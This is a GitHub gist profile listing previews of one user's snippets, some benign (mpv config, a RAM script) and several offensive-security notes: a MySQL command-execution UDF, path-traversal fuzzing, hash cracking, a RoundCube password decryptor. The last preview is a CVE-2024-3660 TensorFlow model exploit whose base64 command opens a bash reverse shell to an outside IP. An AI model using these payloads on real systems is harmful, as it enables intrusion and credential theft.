Skip to content

Instantly share code, notes, and snippets.

View Reelix's full-sized avatar
🏠
Working from home

Reelix Reelix

🏠
Working from home
View GitHub Profile
@Reelix
Reelix / download_ipa.py
Created October 14, 2026 07:50
Download IPA from Firebase given Firebase itms-services:// link
#!/usr/bin/env python3
import os
import re
import sys
import urllib.parse
import urllib.request
def extract_app_info(raw_link: str):
# Unquote the outer layer to expose query parameters
@Reelix
Reelix / custom_cmd.c
Created October 8, 2026 19:15
A DLL Plugin to load into MySQL to run commands.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef struct st_udf_init {
char maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
char const_item;
@Reelix
Reelix / ecoflow-info.md
Last active September 25, 2026 21:30
Ecoflow - Get device status WITHOUT a developer account

1.) Login using Mobile App creds and get auth token (Only change Email and Password - Rest can stay the same)

curl -s -X POST "https://api.ecoflow.com/auth/login" \
-H "Content-Type: application/json" \
-d '{
"email": "email@address.com",
"password": "base64-encoded-password",
"userType": "ECOFLOW",
"os": "ios",
@Reelix
Reelix / info.txt
Created August 17, 2026 23:00
websocket debug / node inspect / repl Code Exec
node inspect 127.0.0.1:9229
debug>
->
repl
Press Ctrl+C to leave debug repl
>
@Reelix
Reelix / wheres-my-ram.sh
Created August 10, 2026 20:22
Find out where your RAM has gone on Linux
echo "Searching for RAM - Please hold..."
for pid in /proc/[0-9]*; do
if [ -f "$pid/status" ]; then
name=$(grep "^Name:" "$pid/status" 2>/dev/null | awk '{print $2}')
rss=$(grep "^VmRSS:" "$pid/status" 2>/dev/null | awk '{print $2}')
swap=$(grep "^VmSwap:" "$pid/status" 2>/dev/null | awk '{print $2}')
rss=${rss:-0}
swap=${swap:-0}
total=$((rss + swap))
@Reelix
Reelix / gist:a878a9e649bddb829732c179eef98b3d
Created March 4, 2026 17:40
Cracking mysql.User caching_sha2_password hash
1.) Convert to crackable hash format
SELECT user, CONCAT('$mysql', LEFT(authentication_string, 6), '*', INSERT(HEX(SUBSTR(authentication_string, 8)), 41, 0, '*')) AS hash
FROM user
WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';
2.) Extract each hash entry as is
3.) hashcat.bin hashes.txt ~/wordlists/rockyou.txt -O -m7401
@Reelix
Reelix / fuzz.sh
Created October 31, 2025 11:19
Fuzzing Path Traversals
// Note: Lines start with a /, so any trailing / should be removed in the FUZZing
https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Directory%20Traversal/Intruder/traversals-8-deep-exotic-encoding.txt
cat traversals-8-deep-exotic-encoding.txt | sed 's/{FILE}/Windows\\win.ini/g' | ffuf -w - -u http://IP/downloadFUZZ -fc 302
@Reelix
Reelix / MPV Configs
Last active March 2, 2026 20:28
Reelix's mpv Config Files
### ~/.config/mpv/input.conf
# Left-mouse button for pause / play
MBTN_LEFT cycle pause
# Prevent the right-mouse button from pause / play
MBTN_RIGHT ignore
# Up / Down for volume instead of seek (No Display)
UP add volume +5
@Reelix
Reelix / woofles.py
Created July 16, 2025 18:27
RoundCube Session Password Decryptor
#!/usr/bin/env python3
# Thanks Gemini!
import re
import base64
# The 'cryptography' library is required to run this code.
# You can install it in your local Python environment with:
# pip install cryptography
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
@Reelix
Reelix / CVE-2024-3660.py
Last active August 21, 2025 12:27
Tensorflow Model Exploit
# CVE-2024-3660
# https://nvd.nist.gov/vuln/detail/CVE-2024-3660
# https://www.oligo.security/blog/tensorflow-keras-downgrade-attack-cve-2024-3660-bypass
import tensorflow as tf
def exploit(x):
import os
os.system("echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjU4LzkwMDEgPCYx|base64 -d|bash")
return x